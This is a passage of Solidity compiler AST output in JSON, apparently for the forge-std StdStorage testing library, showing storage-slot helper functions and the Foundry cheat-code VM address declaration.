,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"11645:19:8","subExpression":{"expression":{"id":8710,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8707,"src":"11652:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8711,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"11657:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"11652:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8713,"nodeType":"ExpressionStatement","src":"11645:19:8"},{"expression":{"id":8716,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"11674:16:8","subExpression":{"expression":{"id":8714,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8707,"src":"11681:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8715,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"11686:4:8","memberName":"_sig","nodeType":"MemberAccess","referencedDeclaration":7416,"src":"11681:9:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8717,"nodeType":"ExpressionStatement","src":"11674:16:8"},{"expression":{"id":8720,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"11700:17:8","subExpression":{"expression":{"id":8718,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8707,"src":"11707:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8719,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"11712:5:8","memberName":"_keys","nodeType":"MemberAccess","referencedDeclaration":7414,"src":"11707:10:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage","typeString":"bytes32[] storage ref"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8721,"nodeType":"ExpressionStatement","src":"11700:17:8"},{"expression":{"id":8724,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"11727:18:8","subExpression":{"expression":{"id":8722,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8707,"src":"11734:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8723,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"11739:6:8","memberName":"_depth","nodeType":"MemberAccess","referencedDeclaration":7418,"src":"11734:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8725,"nodeType":"ExpressionStatement","src":"11727:18:8"},{"expression":{"id":8728,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"11755:32:8","subExpression":{"expression":{"id":8726,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8707,"src":"11762:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8727,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"11767:20:8","memberName":"_enable_packed_slots","nodeType":"MemberAccess","referencedDeclaration":7424,"src":"11762:25:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8729,"nodeType":"ExpressionStatement","src":"11755:32:8"},{"expression":{"id":8732,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"11797:21:8","subExpression":{"expression":{"id":8730,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8707,"src":"11804:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8731,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"11809:9:8","memberName":"_calldata","nodeType":"MemberAccess","referencedDeclaration":7426,"src":"11804:14:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage","typeString":"bytes storage ref"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8733,"nodeType":"ExpressionStatement","src":"11797:21:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"clear","nameLocation":"11595:5:8","parameters":{"id":8708,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8707,"mutability":"mutable","name":"self","nameLocation":"11620:4:8","nodeType":"VariableDeclaration","scope":8735,"src":"11601:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8706,"nodeType":"UserDefinedTypeName","pathNode":{"id":8705,"name":"StdStorage","nameLocations":["11601:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"11601:10:8"},"referencedDeclaration":7427,"src":"11601:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"11600:25:8"},"returnParameters":{"id":8709,"nodeType":"ParameterList","parameters":[],"src":"11635:0:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8746,"nodeType":"FunctionDefinition","src":"12018:376:8","nodes":[],"body":{"id":8745,"nodeType":"Block","src":"12122:272:8","nodes":[],"statements":[{"AST":{"nativeSrc":"12284:104:8","nodeType":"YulBlock","src":"12284:104:8","statements":[{"nativeSrc":"12298:80:8","nodeType":"YulAssignment","src":"12298:80:8","value":{"arguments":[{"name":"offsetRight","nativeSrc":"12310:11:8","nodeType":"YulIdentifier","src":"12310:11:8"},{"arguments":[{"arguments":[{"arguments":[{"kind":"number","nativeSrc":"12335:3:8","nodeType":"YulLiteral","src":"12335:3:8","type":"","value":"256"},{"arguments":[{"name":"offsetRight","nativeSrc":"12344:11:8","nodeType":"YulIdentifier","src":"12344:11:8"},{"name":"offsetLeft","nativeSrc":"12357:10:8","nodeType":"YulIdentifier","src":"12357:10:8"}],"functionName":{"name":"add","nativeSrc":"12340:3:8","nodeType":"YulIdentifier","src":"12340:3:8"},"nativeSrc":"12340:28:8","nodeType":"YulFunctionCall","src":"12340:28:8"}],"functionName":{"name":"sub","nativeSrc":"12331:3:8","nodeType":"YulIdentifier","src":"12331:3:8"},"nativeSrc":"12331:38:8","nodeType":"YulFunctionCall","src":"12331:38:8"},{"kind":"number","nativeSrc":"12371:1:8","nodeType":"YulLiteral","src":"12371:1:8","type":"","value":"1"}],"functionName":{"name":"shl","nativeSrc":"12327:3:8","nodeType":"YulIdentifier","src":"12327:3:8"},"nativeSrc":"12327:46:8","nodeType":"YulFunctionCall","src":"12327:46:8"},{"kind":"number","nativeSrc":"12375:1:8","nodeType":"YulLiteral","src":"12375:1:8","type":"","value":"1"}],"functionName":{"name":"sub","nativeSrc":"12323:3:8","nodeType":"YulIdentifier","src":"12323:3:8"},"nativeSrc":"12323:54:8","nodeType":"YulFunctionCall","src":"12323:54:8"}],"functionName":{"name":"shl","nativeSrc":"12306:3:8","nodeType":"YulIdentifier","src":"12306:3:8"},"nativeSrc":"12306:72:8","nodeType":"YulFunctionCall","src":"12306:72:8"},"variableNames":[{"name":"mask","nativeSrc":"12298:4:8","nodeType":"YulIdentifier","src":"12298:4:8"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":8742,"isOffset":false,"isSlot":false,"src":"12298:4:8","valueSize":1},{"declaration":8737,"isOffset":false,"isSlot":false,"src":"12357:10:8","valueSize":1},{"declaration":8739,"isOffset":false,"isSlot":false,"src":"12310:11:8","valueSize":1},{"declaration":8739,"isOffset":false,"isSlot":false,"src":"12344:11:8","valueSize":1}],"id":8744,"nodeType":"InlineAssembly","src":"12275:113:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"getMaskByOffsets","nameLocation":"12027:16:8","parameters":{"id":8740,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8737,"mutability":"mutable","name":"offsetLeft","nameLocation":"12052:10:8","nodeType":"VariableDeclaration","scope":8746,"src":"12044:18:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8736,"name":"uint256","nodeType":"ElementaryTypeName","src":"12044:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":8739,"mutability":"mutable","name":"offsetRight","nameLocation":"12072:11:8","nodeType":"VariableDeclaration","scope":8746,"src":"12064:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8738,"name":"uint256","nodeType":"ElementaryTypeName","src":"12064:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"12043:41:8"},"returnParameters":{"id":8743,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8742,"mutability":"mutable","name":"mask","nameLocation":"12116:4:8","nodeType":"VariableDeclaration","scope":8746,"src":"12108:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8741,"name":"uint256","nodeType":"ElementaryTypeName","src":"12108:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"12107:14:8"},"scope":8781,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":8780,"nodeType":"FunctionDefinition","src":"12456:300:8","nodes":[],"body":{"id":8779,"nodeType":"Block","src":"12631:125:8","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8776,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8770,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":8763,"name":"curValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8748,"src":"12665:8:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":8762,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"12657:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8761,"name":"uint256","nodeType":"ElementaryTypeName","src":"12657:7:8","typeDescriptions":{}}},"id":8764,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12657:17:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"&","rightExpression":{"id":8769,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"~","prefix":true,"src":"12677:42:8","subExpression":{"arguments":[{"id":8766,"name":"offsetLeft","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8752,"src":"12695:10:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":8767,"name":"offsetRight","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8754,"src":"12707:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8765,"name":"getMaskByOffsets","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8746,"src":"12678:16:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":8768,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12678:41:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"12657:62:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":8771,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"12656:64:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"|","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8774,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":8772,"name":"varValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8750,"src":"12724:8:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<<","rightExpression":{"id":8773,"name":"offsetRight","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8754,"src":"12736:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"12724:23:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":8775,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"12723:25:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"12656:92:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8760,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"12648:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8759,"name":"bytes32","nodeType":"ElementaryTypeName","src":"12648:7:8","typeDescriptions":{}}},"id":8777,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12648:101:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"functionReturnParameters":8758,"id":8778,"nodeType":"Return","src":"12641:108:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"getUpdatedSlotValue","nameLocation":"12465:19:8","parameters":{"id":8755,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8748,"mutability":"mutable","name":"curValue","nameLocation":"12493:8:8","nodeType":"VariableDeclaration","scope":8780,"src":"12485:16:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8747,"name":"bytes32","nodeType":"ElementaryTypeName","src":"12485:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":8750,"mutability":"mutable","name":"varValue","nameLocation":"12511:8:8","nodeType":"VariableDeclaration","scope":8780,"src":"12503:16:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8749,"name":"uint256","nodeType":"ElementaryTypeName","src":"12503:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":8752,"mutability":"mutable","name":"offsetLeft","nameLocation":"12529:10:8","nodeType":"VariableDeclaration","scope":8780,"src":"12521:18:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8751,"name":"uint256","nodeType":"ElementaryTypeName","src":"12521:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":8754,"mutability":"mutable","name":"offsetRight","nameLocation":"12549:11:8","nodeType":"VariableDeclaration","scope":8780,"src":"12541:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8753,"name":"uint256","nodeType":"ElementaryTypeName","src":"12541:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"12484:77:8"},"returnParameters":{"id":8758,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8757,"mutability":"mutable","name":"newValue","nameLocation":"12617:8:8","nodeType":"VariableDeclaration","scope":8780,"src":"12609:16:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8756,"name":"bytes32","nodeType":"ElementaryTypeName","src":"12609:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"12608:18:8"},"scope":8781,"stateMutability":"pure","virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[],"canonicalName":"stdStorageSafe","contractDependencies":[],"contractKind":"library","fullyImplemented":true,"linearizedBaseContracts":[8781],"name":"stdStorageSafe","nameLocation":"458:14:8","scope":9387,"usedErrors":[],"usedEvents":[7437,7443]},{"id":9386,"nodeType":"ContractDefinition","src":"12760:5081:8","nodes":[{"id":8798,"nodeType":"VariableDeclaration","src":"12785:84:8","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"12805:2:8","scope":9386,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"},"typeName":{"id":8783,"nodeType":"UserDefinedTypeName","pathNode":{"id":8782,"name":"Vm","nameLocations":["12785:2:8"],"nodeType":"IdentifierPath","referencedDeclaration":15673,"src":"12785:2:8"},"referencedDeclaration":15673,"src":"12785:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":8792,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"12847:17:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""}],"id":8791,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"12837:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":8793,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12837:28:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":8790,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"12829:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8789,"name":"uint256","nodeType":"ElementaryTypeName","src":"12829:7:8","typeDescriptions":{}}},"id":8794,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12829:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8788,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"12821:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":8787,"name":"uint160","nodeType":"ElementaryTypeName","src":"12821:7:8","typeDescriptions":{}}},"id":8795,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12821:46:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":8786,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"12813:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":8785,"name":"address","nodeType":"ElementaryTypeName","src":"12813:7:8","typeDescriptions":{}}},"id":8796,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12813:55:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":8784,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"12810:2:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Vm_$15673_$","typeString":"type(contract Vm)"}},"id":8797,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12810:59:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"visibility":"private"},{"id":8811,"nodeType":"FunctionDefinition","src":"12876:118:8","nodes":[],"body":{"id":8810,"nodeType":"Block","src":"12943:51:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8807,"name":"sigStr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8800,"src":"12980:6:8","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":8805,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"12960:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8806,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"12975:4:8","memberName":"sigs","nodeType":"MemberAccess","referencedDeclaration":7481,"src":"12960:19:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_bytes4_$","typeString":"function (string memory) pure returns (bytes4)"}},"id":8808,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12960:27:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"functionReturnParameters":8804,"id":8809,"nodeType":"Return","src":"12953:34:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"sigs","nameLocation":"12885:4:8","parameters":{"id":8801,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8800,"mutability":"mutable","name":"sigStr","nameLocation":"12904:6:8","nodeType":"VariableDeclaration","scope":8811,"src":"12890:20:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":8799,"name":"string","nodeType":"ElementaryTypeName","src":"12890:6:8","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"12889:22:8"},"returnParameters":{"id":8804,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8803,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8811,"src":"12935:6:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":8802,"name":"bytes4","nodeType":"ElementaryTypeName","src":"12935:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"12934:8:8"},"scope":9386,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":8825,"nodeType":"FunctionDefinition","src":"13000:106:8","nodes":[],"body":{"id":8824,"nodeType":"Block","src":"13066:40:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8820,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8814,"src":"13088:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"hexValue":"74727565","id":8821,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"13094:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":8819,"name":"find","nodeType":"Identifier","overloadedDeclarations":[8825,8843],"referencedDeclaration":8843,"src":"13083:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bool_$returns$_t_uint256_$","typeString":"function (struct StdStorage storage pointer,bool) returns (uint256)"}},"id":8822,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13083:16:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":8818,"id":8823,"nodeType":"Return","src":"13076:23:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"find","nameLocation":"13009:4:8","parameters":{"id":8815,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8814,"mutability":"mutable","name":"self","nameLocation":"13033:4:8","nodeType":"VariableDeclaration","scope":8825,"src":"13014:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8813,"nodeType":"UserDefinedTypeName","pathNode":{"id":8812,"name":"StdStorage","nameLocations":["13014:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13014:10:8"},"referencedDeclaration":7427,"src":"13014:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"13013:25:8"},"returnParameters":{"id":8818,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8817,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8825,"src":"13057:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8816,"name":"uint256","nodeType":"ElementaryTypeName","src":"13057:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"13056:9:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8843,"nodeType":"FunctionDefinition","src":"13112:141:8","nodes":[],"body":{"id":8842,"nodeType":"Block","src":"13191:62:8","nodes":[],"statements":[{"expression":{"expression":{"arguments":[{"id":8837,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8828,"src":"13228:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8838,"name":"_clear","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8830,"src":"13234:6:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":8835,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"13208:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library 